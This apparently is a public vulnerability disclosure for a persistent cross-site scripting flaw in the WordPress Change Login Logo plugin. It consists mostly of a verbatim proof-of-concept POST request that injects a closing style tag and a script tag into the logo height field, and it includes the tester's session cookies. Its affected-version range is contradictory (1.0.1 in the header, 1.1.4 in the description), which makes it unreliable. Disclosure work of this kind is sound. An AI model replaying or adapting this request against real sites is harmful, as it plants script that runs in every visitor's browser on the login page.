WordPress Change Login Logo 1.0.1 Persistent Cross Site Scripting

`# Exploit Title: WordPress Change Login Logo Plugin v1.0.1 - Persistent Cross-Site Scripting  
# Date: 2020-08-18  
# Vendor Homepage: http://www.boopathirajan.com/  
# Vendor Changelog: https://wordpress.org/plugins/change-login-logo/#developers  
# Exploit Author: Melbin K Mathew (@melbinkm)  
# Author Advisory: https://melbin.in/2020/08/15/multiple-stored-xss-vulnerabilities-in-change-wordpress-login-logo-plugin/  
# Author Homepage: https://melbin.in  
# Version: 1.0.1 and below  
  
1. Description  
  
Change WordPress Login Logo Plugin is used to replace WordPress default logo in WordPress login page with a user supplied image. The height, and width fields used updating the custom logo was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads the WordPress login page. All WordPress websites using Change WordPress Login Logo Plugin version 1.1.4 and below are affected.  
  
2. Proof of Concept  
  
POST /w/wp-admin/options.php HTTP/1.1  
Host: 95.217.19.38  
Content-Length: 353  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://95.217.19.38  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://95.217.19.38/w/wp-admin/options-general.php?page=change-login-logo  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8  
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791  
Connection: close  
  
option_page=change_login_options_group&action=update&_wpnonce=6d58248d5e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dchange-login-logo&wp_logo_url=http%3A%2F%2F95.217.19.38%2Fw%2Fwp-content%2Fuploads%2F2020%2F08%2F75.jpg&wp_logo_height=100%7D%3C%2Fstyle%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E&wp_logo_width=100&submit=Save+Changes  
`